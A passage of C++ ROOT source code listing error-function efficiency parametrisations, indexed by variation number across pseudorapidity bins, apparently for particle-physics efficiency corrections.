0.9495*TMath::Erf((x-1.9847)/1.6555);\n else if (idx == 15 ) num = 0.9431*TMath::Erf((x-1.9126)/1.7116);\n else if (idx == 16 ) num = 0.9546*TMath::Erf((x-1.5625)/2.1135);\n else if (idx == 17 ) num = 0.9527*TMath::Erf((x-1.6592)/2.0238);\n else if (idx == 18 ) num = 0.9518*TMath::Erf((x-1.3956)/2.1133);\n else if (idx == 19 ) num = 0.9487*TMath::Erf((x-1.4774)/2.1432);\n else if (idx == 20 ) num = 0.9458*TMath::Erf((x-1.9738)/1.6501);\n else if (idx == 21 ) num = 0.9457*TMath::Erf((x-1.5396)/2.0235);\n else if (idx == 22 ) num = 0.9427*TMath::Erf((x-2.2034)/1.4990);\n else if (idx == 23 ) num = 0.9471*TMath::Erf((x-1.8383)/1.7690);\n else if (idx == 24 ) num = 0.9503*TMath::Erf((x-1.6669)/1.9466);\n else if (idx == 25 ) num = 0.9531*TMath::Erf((x-1.9542)/1.7182);\n else if (idx == 26 ) num = 0.9464*TMath::Erf((x-2.0405)/1.6082);\n else if (idx == 27 ) num = 0.9493*TMath::Erf((x-1.4188)/2.2079);\n else if (idx == 28 ) num = 0.9442*TMath::Erf((x-2.2467)/1.4232);\n else if (idx == 29 ) num = 0.9413*TMath::Erf((x-1.7924)/1.7962);\n else if (idx == 30 ) num = 0.9491*TMath::Erf((x-1.9612)/1.7506);\n else if (idx == 31 ) num = 0.9476*TMath::Erf((x-1.8944)/1.7391);\n else if (idx == 32 ) num = 0.9442*TMath::Erf((x-1.5842)/2.0101);\n else if (idx == 33 ) num = 0.9492*TMath::Erf((x-2.1584)/1.5558);\n else if (idx == 34 ) num = 0.9515*TMath::Erf((x-1.4319)/2.1722);\n else if (idx == 35 ) num = 0.9431*TMath::Erf((x-2.3194)/1.3397);\n else if (idx == 36 ) num = 0.9404*TMath::Erf((x-2.1599)/1.4844);\n else if (idx == 37 ) num = 0.9527*TMath::Erf((x-1.8584)/1.8439);\n else if (idx == 38 ) num = 0.9498*TMath::Erf((x-1.8268)/1.8022);\n else if (idx == 39 ) num = 0.9454*TMath::Erf((x-1.9100)/1.7528);\n else if (idx == 40 ) num = 0.9509*TMath::Erf((x-1.8071)/1.8729);\n else if (idx == 41 ) num = 0.9459*TMath::Erf((x-1.5921)/2.0436);\n else if (idx == 42 ) num = 0.9459*TMath::Erf((x-1.8862)/1.7767);\n else if (idx == 43 ) num = 0.9421*TMath::Erf((x-2.3702)/1.3372);\n else if (idx == 44 ) num = 0.9438*TMath::Erf((x-2.1081)/1.5347);\n else if (idx == 45 ) num = 0.9460*TMath::Erf((x-2.1597)/1.5050);\n else if (idx == 46 ) num = 0.9446*TMath::Erf((x-1.9137)/1.7179);\n else if (idx == 47 ) num = 0.9476*TMath::Erf((x-1.3248)/2.2502);\n else if (idx == 48 ) num = 0.9477*TMath::Erf((x-2.0664)/1.5615);\n else if (idx == 49 ) num = 0.9401*TMath::Erf((x-1.8205)/1.8024);\n else if (idx == 50 ) num = 0.9464*TMath::Erf((x-1.7524)/1.8710);\n else if (idx == 51 ) num = 0.9447*TMath::Erf((x-1.9361)/1.7098);\n else if (idx == 52 ) num = 0.9448*TMath::Erf((x-2.1506)/1.4861);\n else if (idx == 53 ) num = 0.9412*TMath::Erf((x-2.2622)/1.4482);\n else if (idx == 54 ) num = 0.9504*TMath::Erf((x-2.0114)/1.6768);\n else if (idx == 55 ) num = 0.9444*TMath::Erf((x-1.7792)/1.8362);\n else if (idx == 56 ) num = 0.9448*TMath::Erf((x-1.9716)/1.6499);\n else if (idx == 57 ) num = 0.9491*TMath::Erf((x-1.8497)/1.8145);\n else if (idx == 58 ) num = 0.9433*TMath::Erf((x-1.9355)/1.7135);\n else if (idx == 59 ) num = 0.9519*TMath::Erf((x-1.2819)/2.3067);\n else if (idx == 60 ) num = 0.9478*TMath::Erf((x-2.1621)/1.5231);\n else if (idx == 61 ) num = 0.9465*TMath::Erf((x-2.1703)/1.5236);\n else if (idx == 62 ) num = 0.9466*TMath::Erf((x-2.1639)/1.5152);\n else if (idx == 63 ) num = 0.9491*TMath::Erf((x-2.0715)/1.6405);\n else if (idx == 64 ) num = 0.9433*TMath::Erf((x-2.2480)/1.4026);\n else if (idx == 65 ) num = 0.9478*TMath::Erf((x-2.2398)/1.4695);\n else if (idx == 66 ) num = 0.9447*TMath::Erf((x-2.2079)/1.5108);\n else if (idx == 67 ) num = 0.9502*TMath::Erf((x-1.8212)/1.8593);\n else if (idx == 68 ) num = 0.9500*TMath::Erf((x-1.9555)/1.7335);\n else if (idx == 69 ) num = 0.9418*TMath::Erf((x-2.4049)/1.3157);\n else if (idx == 70 ) num = 0.9416*TMath::Erf((x-1.6954)/1.8805);\n else if (idx == 71 ) num = 0.9466*TMath::Erf((x-1.5939)/1.9504);\n else if (idx == 72 ) num = 0.9440*TMath::Erf((x-2.1999)/1.4639);\n else if (idx == 73 ) num = 0.9482*TMath::Erf((x-2.0565)/1.6300);\n else if (idx == 74 ) num = 0.9484*TMath::Erf((x-1.6706)/1.9870);\n else if (idx == 75 ) num = 0.9489*TMath::Erf((x-1.9007)/1.7411);\n else if (idx == 76 ) num = 0.9449*TMath::Erf((x-1.9233)/1.6891);\n else if (idx == 77 ) num = 0.9460*TMath::Erf((x-2.3657)/1.3302);\n else if (idx == 78 ) num = 0.9428*TMath::Erf((x-2.0271)/1.6259);\n else if (idx == 79 ) num = 0.9503*TMath::Erf((x-1.6080)/2.0177);\n else if (idx == 80 ) num = 0.9418*TMath::Erf((x-2.0468)/1.5975);\n else if (idx == 81 ) num = 0.9438*TMath::Erf((x-2.0536)/1.5859);\n else if (idx == 82 ) num = 0.9469*TMath::Erf((x-1.9686)/1.6451);\n else if (idx == 83 ) num = 0.9468*TMath::Erf((x-1.5151)/2.0741);\n else if (idx == 84 ) num = 0.9431*TMath::Erf((x-1.9347)/1.6883);\n else if (idx == 85 ) num = 0.9415*TMath::Erf((x-2.4854)/1.1732);\n else if (idx == 86 ) num = 0.9437*TMath::Erf((x-2.2034)/1.4558);\n else if (idx == 87 ) num = 0.9398*TMath::Erf((x-2.3238)/1.3617);\n else if (idx == 88 ) num = 0.9417*TMath::Erf((x-2.0500)/1.6110);\n else if (idx == 89 ) num = 0.9476*TMath::Erf((x-1.4043)/2.1322);\n else if (idx == 90 ) num = 0.9457*TMath::Erf((x-2.0425)/1.5920);\n else if (idx == 91 ) num = 0.9467*TMath::Erf((x-2.4370)/1.2966);\n else if (idx == 92 ) num = 0.9460*TMath::Erf((x-2.0574)/1.6029);\n else if (idx == 93 ) num = 0.9485*TMath::Erf((x-2.2023)/1.4971);\n else if (idx == 94 ) num = 0.9412*TMath::Erf((x-1.7708)/1.8630);\n else if (idx == 95 ) num = 0.9435*TMath::Erf((x-2.1435)/1.5407);\n else if (idx == 96 ) num = 0.9413*TMath::Erf((x-2.2512)/1.4161);\n else if (idx == 97 ) num = 0.9493*TMath::Erf((x-1.5259)/2.1535);\n else if (idx == 98 ) num = 0.9382*TMath::Erf((x-2.2689)/1.3880);\n else if (idx == 99 ) num = 0.9466*TMath::Erf((x-1.9826)/1.6576);\n else if (idx == 100 ) num = 0.9471*TMath::Erf((x-2.0518)/1.6388);\n }\n else if (fabs(eta)<1.6)\n {\n if (idx==0) num = 0.9296*TMath::Erf((x-1.8082)/1.4939);\n else if (idx == -1 ) num = 0.9353*TMath::Erf((x-1.7519)/1.5470);\n else if (idx == -2 ) num = 0.9239*TMath::Erf((x-1.8612)/1.4438);\n else if (idx == 1 ) num = 0.9264*TMath::Erf((x-1.8875)/1.3760);\n else if (idx == 2 ) num = 0.9235*TMath::Erf((x-1.8870)/1.3730);\n else if (idx == 3 ) num = 0.9278*TMath::Erf((x-1.7989)/1.5252);\n else if (idx == 4 ) num = 0.9378*TMath::Erf((x-1.7873)/1.5336);\n else if (idx == 5 ) num = 0.9253*TMath::Erf((x-1.8995)/1.3282);\n else if (idx == 6 ) num = 0.9337*TMath::Erf((x-1.8036)/1.4840);\n else if (idx == 7 ) num = 0.9407*TMath::Erf((x-1.6706)/1.7630);\n else if (idx == 8 ) num = 0.9215*TMath::Erf((x-1.8879)/1.3677);\n else if (idx == 9 ) num = 0.9176*TMath::Erf((x-1.9161)/1.2630);\n else if (idx == 10 ) num = 0.9300*TMath::Erf((x-1.8800)/1.3852);\n else if (idx == 11 ) num = 0.9365*TMath::Erf((x-1.7313)/1.6384);\n else if (idx == 12 ) num = 0.9313*TMath::Erf((x-1.8144)/1.4981);\n else if (idx == 13 ) num = 0.9253*TMath::Erf((x-1.8993)/1.3256);\n else if (idx == 14 ) num = 0.9229*TMath::Erf((x-1.8319)/1.4252);\n else if (idx == 15 ) num = 0.9368*TMath::Erf((x-1.6867)/1.6717);\n else if (idx == 16 ) num = 0.9333*TMath::Erf((x-1.6338)/1.7441);\n else if (idx == 17 ) num = 0.9283*TMath::Erf((x-1.8472)/1.4162);\n else if (idx == 18 ) num = 0.9276*TMath::Erf((x-1.7757)/1.5324);\n else if (idx == 19 ) num = 0.9200*TMath::Erf((x-1.8830)/1.3214);\n else if (idx == 20 ) num = 0.9312*TMath::Erf((x-1.7169)/1.6361);\n else if (idx == 21 ) num = 0.9275*TMath::Erf((x-1.8050)/1.4923);\n else if (idx == 22 ) num = 0.9242*TMath::Erf((x-1.9137)/1.3586);\n else if (idx == 23 ) num = 0.9266*TMath::Erf((x-1.7902)/1.4916);\n else if (idx == 24 ) num = 0.9229*TMath::Erf((x-1.8184)/1.4797);\n else if (idx == 25 ) num = 0.9286*TMath::Erf((x-1.8398)/1.4427);\n else if (idx == 26 ) num = 0.9280*TMath::Erf((x-1.8693)/1.4530);\n else if (idx == 27 ) num = 0.9223*TMath::Erf((x-1.9033)/1.3640);\n else if (idx == 28 ) num = 0.9313*TMath::Erf((x-1.7731)/1.5407);\n else if (idx == 29 ) num = 0.9276*TMath::Erf((x-1.8049)/1.4932);\n else if (idx == 30 ) num = 0.9341*TMath::Erf((x-1.7404)/1.5928);\n else if (idx == 31 ) num = 0.9339*TMath::Erf((x-1.8282)/1.5132);\n else if (idx == 32 ) num = 0.9384*TMath::Erf((x-1.6769)/1.7083);\n else if (idx == 33 ) num = 0.9127*TMath::Erf((x-1.9940)/1.1590);\n else if (idx == 34 ) num = 0.9255*TMath::Erf((x-1.8690)/1.3769);\n else if (idx == 35 ) num = 0.9210*TMath::Erf((x-1.7517)/1.5339);\n else if (idx == 36 ) num = 0.9285*TMath::Erf((x-1.8517)/1.4297);\n else if (idx == 37 ) num = 0.9260*TMath::Erf((x-1.8451)/1.4299);\n else if (idx == 38 ) num = 0.9240*TMath::Erf((x-1.8427)/1.4443);\n else if (idx == 39 ) num = 0.9244*TMath::Erf((x-1.9306)/1.3111);\n else if (idx == 40 ) num = 0.9290*TMath::Erf((x-1.8034)/1.4858);\n else if (idx == 41 ) num = 0.9271*TMath::Erf((x-1.7430)/1.5798);\n else if (idx == 42 ) num = 0.9297*TMath::Erf((x-1.8176)/1.4784);\n else if (idx == 43 ) num = 0.9298*TMath::Erf((x-1.8480)/1.4378);\n else if (idx == 44 ) num = 0.9389*TMath::Erf((x-1.7440)/1.6258);\n else if (idx == 45 ) num = 0.9294*TMath::Erf((x-1.8417)/1.4497);\n else if (idx == 46 ) num = 0.9249*TMath::Erf((x-1.8741)/1.3843);\n else if (idx == 47 ) num = 0.9308*TMath::Erf((x-1.7932)/1.4701);\n else if (idx == 48 ) num = 0.9326*TMath::Erf((x-1.7477)/1.5957);\n else if (idx == 49 ) num = 0.9282*TMath::Erf((x-1.8963)/1.3579);\n else if (idx == 50 ) num = 0.9305*TMath::Erf((x-1.7537)/1.5697);\n else if (idx == 51 ) num = 0.9296*TMath::Erf((x-1.7946)/1.5325);\n else if (idx == 52 ) num = 0.9276*TMath::Erf((x-1.7512)/1.5393);\n else if (idx == 53 ) num = 0.9267*TMath::Erf((x-1.9182)/1.3305);\n else if (idx == 54 ) num = 0.9363*TMath::Erf((x-1.6945)/1.6922);\n else if (idx == 55 ) num = 0.9283*TMath::Erf((x-1.8731)/1.4350);\n else if (idx == 56 ) num = 0.9322*TMath::Erf((x-1.7391)/1.6233);\n else if (idx == 57 ) num = 0.9301*TMath::Erf((x-1.7322)/1.6207);\n else if (idx == 58 ) num = 0.9331*TMath::Erf((x-1.6716)/1.7101);\n else if (idx == 59 ) num = 0.9349*TMath::Erf((x-1.6648)/1.6767);\n else if (idx == 60 ) num = 0.9346*TMath::Erf((x-1.7493)/1.5603);\n else if (idx == 61 ) num = 0.9306*TMath::Erf((x-1.7353)/1.5899);\n else if (idx == 62 ) num = 0.9371*TMath::Erf((x-1.7022)/1.6562);\n else if (idx == 63 ) num = 0.9261*TMath::Erf((x-1.8193)/1.4257);\n else if (idx == 64 ) num = 0.9305*TMath::Erf((x-1.8407)/1.4610);\n else if (idx == 65 ) num = 0.9296*TMath::Erf((x-1.8597)/1.4205);\n else if (idx == 66 ) num = 0.9202*TMath::Erf((x-1.9556)/1.2193);\n else if (idx == 67 ) num = 0.9459*TMath::Erf((x-1.6792)/1.7514);\n else if (idx == 68 ) num = 0.9302*TMath::Erf((x-1.8159)/1.5023);\n else if (idx == 69 ) num = 0.9281*TMath::Erf((x-1.8570)/1.4148);\n else if (idx == 70 ) num = 0.9272*TMath::Erf((x-1.9003)/1.3859);\n else if (idx == 71 ) num = 0.9323*TMath::Erf((x-1.7591)/1.5872);\n else if (idx == 72 ) num = 0.9330*TMath::Erf((x-1.7306)/1.6292);\n else if (idx == 73 ) num = 0.9311*TMath::Erf((x-1.7467)/1.6193);\n else if (idx == 74 ) num = 0.9289*TMath::Erf((x-1.8080)/1.5168);\n else if (idx == 75 ) num = 0.9263*TMath::Erf((x-1.7666)/1.5153);\n else if (idx == 76 ) num = 0.9324*TMath::Erf((x-1.6672)/1.6576);\n else if (idx == 77 ) num = 0.9292*TMath::Erf((x-1.8013)/1.5186);\n else if (idx == 78 ) num = 0.9300*TMath::Erf((x-1.8332)/1.4296);\n else if (idx == 79 ) num = 0.9324*TMath::Erf((x-1.7319)/1.6263);\n else if (idx == 80 ) num = 0.9422*TMath::Erf((x-1.6389)/1.7814);\n else if (idx == 81 ) num = 0.9373*TMath::Erf((x-1.7510)/1.6393);\n else if (idx == 82 ) num = 0.9211*TMath::Erf((x-1.9584)/1.2399);\n else if (idx == 83 ) num = 0.9369*TMath::Erf((x-1.7917)/1.5262);\n else if (idx == 84 ) num = 0.9268*TMath::Erf((x-1.7681)/1.5443);\n else if (idx == 85 ) num = 0.9285*TMath::Erf((x-1.8426)/1.4420);\n else if (idx == 86 ) num = 0.9246*TMath::Erf((x-1.7895)/1.5218);\n else if (idx == 87 ) num = 0.9288*TMath::Erf((x-1.7705)/1.5423);\n else if (idx == 88 ) num = 0.9227*TMath::Erf((x-1.8294)/1.4586);\n else if (idx == 89 ) num = 0.9372*TMath::Erf((x-1.6828)/1.6709);\n else if (idx == 90 ) num = 0.9326*TMath::Erf((x-1.8144)/1.4983);\n else if (idx == 91 ) num = 0.9227*TMath::Erf((x-1.8622)/1.3988);\n else if (idx == 92 ) num = 0.9313*TMath::Erf((x-1.7989)/1.5346);\n else if (idx == 93 ) num = 0.9328*TMath::Erf((x-1.8280)/1.4666);\n else if (idx == 94 ) num = 0.9235*TMath::Erf((x-1.8678)/1.3891);\n else if (idx == 95 ) num = 0.9352*TMath::Erf((x-1.7395)/1.5874);\n else if (idx == 96 ) num = 0.9129*TMath::Erf((x-1.8773)/1.3181);\n else if (idx == 97 ) num = 0.9267*TMath::Erf((x-1.9054)/1.3577);\n else if (idx == 98 ) num = 0.9320*TMath::Erf((x-1.8461)/1.4877);\n else if (idx == 99 ) num = 0.9329*TMath::Erf((x-1.8560)/1.4395);\n else if (idx == 100 ) num = 0.9220*TMath::Erf((x-1.8830)/1.3148);\n }\n else if (fabs(eta)<2.1)\n {\n if (idx==0) num = 0.8808*TMath::Erf((x-0.8275)/2.6569);\n else if (idx == -1 ) num = 0.8880*TMath::Erf((x-0.7862)/2.7019);\n else if (idx == -2 ) num = 0.8736*TMath::Erf((x-0.8687)/2.6119);\n else if (idx == 1 ) num = 0.8770*TMath::Erf((x-0.7880)/2.6943);\n else if (idx == 2 ) num = 0.8796*TMath::Erf((x-0.8924)/2.5517);\n else if (idx == 3 ) num = 0.8837*TMath::Erf((x-0.8413)/2.6633);\n else if (idx == 4 ) num = 0.8946*TMath::Erf((x-0.7660)/2.8588);\n else if (idx == 5 ) num = 0.8839*TMath::Erf((x-0.8219)/2.6615);\n else if (idx == 6 ) num = 0.8824*TMath::Erf((x-0.8453)/2.5985);\n else if (idx == 7 ) num = 0.8801*TMath::Erf((x-1.0358)/2.3720);\n else if (idx == 8 ) num = 0.8926*TMath::Erf((x-0.7354)/2.8534);\n else if (idx == 9 ) num = 0.8916*TMath::Erf((x-0.8156)/2.7134);\n else if (idx == 10 ) num = 0.8916*TMath::Erf((x-0.7433)/2.7871);\n else if (idx == 11 ) num = 0.8811*TMath::Erf((x-0.9594)/2.5088);\n else if (idx == 12 ) num = 0.8855*TMath::Erf((x-0.9109)/2.5561);\n else if (idx == 13 ) num = 0.8807*TMath::Erf((x-0.8590)/2.6326);\n else if (idx == 14 ) num = 0.8778*TMath::Erf((x-0.8646)/2.6030);\n else if (idx == 15 ) num = 0.8845*TMath::Erf((x-0.8554)/2.5860);\n else if (idx == 16 ) num = 0.8645*TMath::Erf((x-0.9157)/2.4368);\n else if (idx == 17 ) num = 0.8769*TMath::Erf((x-0.8501)/2.5900);\n else if (idx == 18 ) num = 0.8918*TMath::Erf((x-0.7382)/2.8471);\n else if (idx == 19 ) num = 0.8820*TMath::Erf((x-0.8223)/2.6482);\n else if (idx == 20 ) num = 0.8726*TMath::Erf((x-0.8663)/2.5738);\n else if (idx == 21 ) num = 0.8773*TMath::Erf((x-0.8907)/2.5166);\n else if (idx == 22 ) num = 0.8736*TMath::Erf((x-0.8550)/2.5404);\n else if (idx == 23 ) num = 0.8911*TMath::Erf((x-0.7634)/2.8452);\n else if (idx == 24 ) num = 0.8766*TMath::Erf((x-0.9200)/2.4898);\n else if (idx == 25 ) num = 0.8732*TMath::Erf((x-0.8114)/2.6580);\n else if (idx == 26 ) num = 0.8797*TMath::Erf((x-0.7584)/2.7608);\n else if (idx == 27 ) num = 0.8771*TMath::Erf((x-0.9050)/2.5382);\n else if (idx == 28 ) num = 0.8784*TMath::Erf((x-0.6728)/2.8952);\n else if (idx == 29 ) num = 0.8802*TMath::Erf((x-0.9025)/2.4973);\n else if (idx == 30 ) num = 0.8697*TMath::Erf((x-0.8121)/2.6681);\n else if (idx == 31 ) num = 0.8782*TMath::Erf((x-1.0297)/2.3387);\n else if (idx == 32 ) num = 0.8742*TMath::Erf((x-0.8084)/2.7484);\n else if (idx == 33 ) num = 0.8726*TMath::Erf((x-0.8769)/2.6209);\n else if (idx == 34 ) num = 0.8819*TMath::Erf((x-0.7743)/2.7490);\n else if (idx == 35 ) num = 0.8788*TMath::Erf((x-0.8461)/2.5855);\n else if (idx == 36 ) num = 0.8871*TMath::Erf((x-0.8165)/2.6974);\n else if (idx == 37 ) num = 0.8891*TMath::Erf((x-0.9215)/2.5337);\n else if (idx == 38 ) num = 0.8754*TMath::Erf((x-0.7864)/2.7009);\n else if (idx == 39 ) num = 0.8866*TMath::Erf((x-0.8428)/2.6524);\n else if (idx == 40 ) num = 0.8923*TMath::Erf((x-0.6470)/2.9881);\n else if (idx == 41 ) num = 0.8818*TMath::Erf((x-0.8133)/2.6415);\n else if (idx == 42 ) num = 0.8884*TMath::Erf((x-0.8576)/2.6823);\n else if (idx == 43 ) num = 0.8869*TMath::Erf((x-0.9677)/2.4840);\n else if (idx == 44 ) num = 0.8844*TMath::Erf((x-0.8030)/2.7200);\n else if (idx == 45 ) num = 0.8740*TMath::Erf((x-0.7566)/2.7149);\n else if (idx == 46 ) num = 0.8800*TMath::Erf((x-0.8041)/2.6571);\n else if (idx == 47 ) num = 0.8940*TMath::Erf((x-0.7826)/2.7504);\n else if (idx == 48 ) num = 0.8867*TMath::Erf((x-0.9197)/2.5293);\n else if (idx == 49 ) num = 0.8798*TMath::Erf((x-0.7474)/2.6376);\n else if (idx == 50 ) num = 0.8747*TMath::Erf((x-0.7553)/2.7202);\n else if (idx == 51 ) num = 0.8894*TMath::Erf((x-0.8685)/2.6462);\n else if (idx == 52 ) num = 0.8881*TMath::Erf((x-0.8480)/2.6765);\n else if (idx == 53 ) num = 0.8910*TMath::Erf((x-0.7353)/2.9356);\n else if (idx == 54 ) num = 0.8825*TMath::Erf((x-0.7976)/2.6684);\n else if (idx == 55 ) num = 0.8855*TMath::Erf((x-0.7173)/2.8026);\n else if (idx == 56 ) num = 0.8837*TMath::Erf((x-0.8344)/2.6504);\n else if (idx == 57 ) num = 0.8965*TMath::Erf((x-0.9054)/2.6317);\n else if (idx == 58 ) num = 0.8707*TMath::Erf((x-0.8363)/2.6046);\n else if (idx == 59 ) num = 0.8629*TMath::Erf((x-0.8368)/2.5692);\n else if (idx == 60 ) num = 0.8717*TMath::Erf((x-0.7978)/2.6381);\n else if (idx == 61 ) num = 0.8706*TMath::Erf((x-0.7922)/2.6360);\n else if (idx == 62 ) num = 0.8760*TMath::Erf((x-0.9813)/2.4250);\n else if (idx == 63 ) num = 0.8789*TMath::Erf((x-0.9652)/2.4536);\n else if (idx == 64 ) num = 0.8811*TMath::Erf((x-0.8680)/2.6235);\n else if (idx == 65 ) num = 0.8876*TMath::Erf((x-0.9485)/2.5030);\n else if (idx == 66 ) num = 0.8757*TMath::Erf((x-0.7507)/2.7548);\n else if (idx == 67 ) num = 0.8752*TMath::Erf((x-0.8480)/2.6100);\n else if (idx == 68 ) num = 0.8821*TMath::Erf((x-0.7743)/2.7201);\n else if (idx == 69 ) num = 0.8891*TMath::Erf((x-0.8295)/2.7646);\n else if (idx == 70 ) num = 0.8876*TMath::Erf((x-0.7989)/2.7085);\n else if (idx == 71 ) num = 0.8927*TMath::Erf((x-0.7799)/2.8487);\n else if (idx == 72 ) num = 0.8916*TMath::Erf((x-0.8202)/2.7260);\n else if (idx == 73 ) num = 0.8752*TMath::Erf((x-0.8830)/2.5678);\n else if (idx == 74 ) num = 0.8778*TMath::Erf((x-0.8098)/2.6368);\n else if (idx == 75 ) num = 0.8916*TMath::Erf((x-0.7567)/2.8626);\n else if (idx == 76 ) num = 0.8779*TMath::Erf((x-0.8353)/2.5928);\n else if (idx == 77 ) num = 0.8840*TMath::Erf((x-0.8769)/2.5987);\n else if (idx == 78 ) num = 0.8794*TMath::Erf((x-0.7735)/2.7067);\n else if (idx == 79 ) num = 0.8762*TMath::Erf((x-0.8888)/2.5356);\n else if (idx == 80 ) num = 0.9004*TMath::Erf((x-0.7071)/2.9781);\n else if (idx == 81 ) num = 0.8831*TMath::Erf((x-0.8390)/2.6131);\n else if (idx == 82 ) num = 0.8810*TMath::Erf((x-0.9536)/2.5064);\n else if (idx == 83 ) num = 0.8849*TMath::Erf((x-0.7082)/2.8367);\n else if (idx == 84 ) num = 0.8638*TMath::Erf((x-0.8066)/2.6004);\n else if (idx == 85 ) num = 0.8862*TMath::Erf((x-0.8462)/2.5902);\n else if (idx == 86 ) num = 0.8824*TMath::Erf((x-0.8834)/2.5490);\n else if (idx == 87 ) num = 0.8816*TMath::Erf((x-0.7643)/2.7252);\n else if (idx == 88 ) num = 0.8826*TMath::Erf((x-0.8591)/2.5872);\n else if (idx == 89 ) num = 0.8795*TMath::Erf((x-0.8398)/2.6132);\n else if (idx == 90 ) num = 0.8769*TMath::Erf((x-0.7443)/2.8197);\n else if (idx == 91 ) num = 0.8752*TMath::Erf((x-0.6779)/2.8430);\n else if (idx == 92 ) num = 0.8881*TMath::Erf((x-0.7564)/2.7943);\n else if (idx == 93 ) num = 0.8733*TMath::Erf((x-0.8334)/2.6063);\n else if (idx == 94 ) num = 0.8827*TMath::Erf((x-0.8274)/2.6512);\n else if (idx == 95 ) num = 0.8845*TMath::Erf((x-0.9412)/2.5259);\n else if (idx == 96 ) num = 0.8725*TMath::Erf((x-0.8932)/2.5069);\n else if (idx == 97 ) num = 0.8879*TMath::Erf((x-0.7633)/2.7854);\n else if (idx == 98 ) num = 0.8820*TMath::Erf((x-0.7927)/2.7485);\n else if (idx == 99 ) num = 0.8809*TMath::Erf((x-0.7087)/2.8046);\n else if (idx == 100 ) num = 0.8775*TMath::Erf((x-0.7242)/2.8572);\n }\n else\n {\n if (idx==0) num = 0.7180*TMath::Erf((x-0.8578)/0.8700);\n else if (idx == -1 ) num = 0.7274*TMath::Erf((x-0.0676)/1.4583);\n else if (idx == -2 ) num = 0.7086*TMath::Erf((x-1.1692)/0.6079);\n else if (idx == 1 ) num = 0.7166*TMath::Erf((x-1.2516)/0.5359);\n else if (idx == 2 ) num = 0.7318*TMath::Erf((x-0.0027)/1.7106);\n else if (idx == 3 ) num = 0.7214*TMath::Erf((x-0.7102)/1.0657);\n else if (idx == 4 ) num = 0.7039*TMath::Erf((x-0.8217)/0.8051);\n else if (idx == 5 ) num = 0.7211*TMath::Erf((x-1.0845)/0.6735);\n else if (idx == 6 ) num = 0.7278*TMath::Erf((x-0.7072)/1.1182);\n else if (idx == 7 ) num = 0.7470*TMath::Erf((x-0.0013)/1.6604);\n else if (idx == 8 ) num = 0.7173*TMath::Erf((x-0.8430)/0.8568);\n else if (idx == 9 ) num = 0.7170*TMath::Erf((x-0.7897)/0.9600);\n else if (idx == 10 ) num = 0.7344*TMath::Erf((x-0.4984)/1.2313);\n else if (idx == 11 ) num = 0.7145*TMath::Erf((x-0.8770)/0.8858);\n else if (idx == 12 ) num = 0.7216*TMath::Erf((x-0.8724)/0.8814);\n else if (idx == 13 ) num = 0.7024*TMath::Erf((x-0.6774)/0.9737);\n else if (idx == 14 ) num = 0.7078*TMath::Erf((x-0.6645)/0.9321);\n else if (idx == 15 ) num = 0.7246*TMath::Erf((x-0.0143)/1.6680);\n else if (idx == 16 ) num = 0.7053*TMath::Erf((x-1.2393)/0.5302);\n else if (idx == 17 ) num = 0.7155*TMath::Erf((x-1.2468)/0.5147);\n else if (idx == 18 ) num = 0.7086*TMath::Erf((x-1.0463)/0.6646);\n else if (idx == 19 ) num = 0.7055*TMath::Erf((x-0.8309)/0.8505);\n else if (idx == 20 ) num = 0.7057*TMath::Erf((x-1.1795)/0.5500);\n else if (idx == 21 ) num = 0.7241*TMath::Erf((x-0.9261)/0.8229);\n else if (idx == 22 ) num = 0.7086*TMath::Erf((x-1.4130)/0.3678);\n else if (idx == 23 ) num = 0.7126*TMath::Erf((x-0.5529)/1.0944);\n else if (idx == 24 ) num = 0.7086*TMath::Erf((x-0.3100)/1.3014);\n else if (idx == 25 ) num = 0.7014*TMath::Erf((x-1.3142)/0.3928);\n else if (idx == 26 ) num = 0.7292*TMath::Erf((x-0.4158)/1.1805);\n else if (idx == 27 ) num = 0.7267*TMath::Erf((x-0.7178)/1.0722);\n else if (idx == 28 ) num = 0.7166*TMath::Erf((x-0.8528)/0.8656);\n else if (idx == 29 ) num = 0.7091*TMath::Erf((x-1.0373)/0.7004);\n else if (idx == 30 ) num = 0.7331*TMath::Erf((x-0.3617)/1.4460);\n else if (idx == 31 ) num = 0.7264*TMath::Erf((x-1.1119)/0.6594);\n else if (idx == 32 ) num = 0.7082*TMath::Erf((x-1.5147)/0.2648);\n else if (idx == 33 ) num = 0.7074*TMath::Erf((x-0.7820)/0.9116);\n else if (idx == 34 ) num = 0.7107*TMath::Erf((x-1.3653)/0.3824);\n else if (idx == 35 ) num = 0.7141*TMath::Erf((x-0.7533)/0.9374);\n else if (idx == 36 ) num = 0.7079*TMath::Erf((x-0.3588)/1.2020);\n else if (idx == 37 ) num = 0.7100*TMath::Erf((x-0.7398)/0.9350);\n else if (idx == 38 ) num = 0.7145*TMath::Erf((x-0.8533)/0.8685);\n else if (idx == 39 ) num = 0.7099*TMath::Erf((x-0.9747)/0.7461);\n else if (idx == 40 ) num = 0.7075*TMath::Erf((x-0.8300)/0.9575);\n else if (idx == 41 ) num = 0.7119*TMath::Erf((x-0.4227)/1.2104);\n else if (idx == 42 ) num = 0.7296*TMath::Erf((x-0.0441)/1.5493);\n else if (idx == 43 ) num = 0.7158*TMath::Erf((x-1.4735)/0.2933);\n else if (idx == 44 ) num = 0.7205*TMath::Erf((x-0.7557)/0.8847);\n else if (idx == 45 ) num = 0.7197*TMath::Erf((x-0.3019)/1.3366);\n else if (idx == 46 ) num = 0.7181*TMath::Erf((x-1.4132)/0.3676);\n else if (idx == 47 ) num = 0.7027*TMath::Erf((x-0.9052)/0.7791);\n else if (idx == 48 ) num = 0.7160*TMath::Erf((x-0.5359)/1.1692);\n else if (idx == 49 ) num = 0.7210*TMath::Erf((x-0.8620)/0.8733);\n else if (idx == 50 ) num = 0.7266*TMath::Erf((x-0.0249)/1.7357);\n else if (idx == 51 ) num = 0.7245*TMath::Erf((x-1.0032)/0.7698);\n else if (idx == 52 ) num = 0.7220*TMath::Erf((x-0.7383)/0.9563);\n else if (idx == 53 ) num = 0.7239*TMath::Erf((x-0.4208)/1.3443);\n else if (idx == 54 ) num = 0.7300*TMath::Erf((x-0.1245)/1.5572);\n else if (idx == 55 ) num = 0.7099*TMath::Erf((x-1.3518)/0.4030);\n else if (idx == 56 ) num = 0.7127*TMath::Erf((x-0.8248)/0.8412);\n else if (idx == 57 ) num = 0.7245*TMath::Erf((x-0.5167)/1.1879);\n else if (idx == 58 ) num = 0.7209*TMath::Erf((x-0.9908)/0.7445);\n else if (idx == 59 ) num = 0.7166*TMath::Erf((x-0.9852)/0.7568);\n else if (idx == 60 ) num = 0.6962*TMath::Erf((x-1.1946)/0.5513);\n else if (idx == 61 ) num = 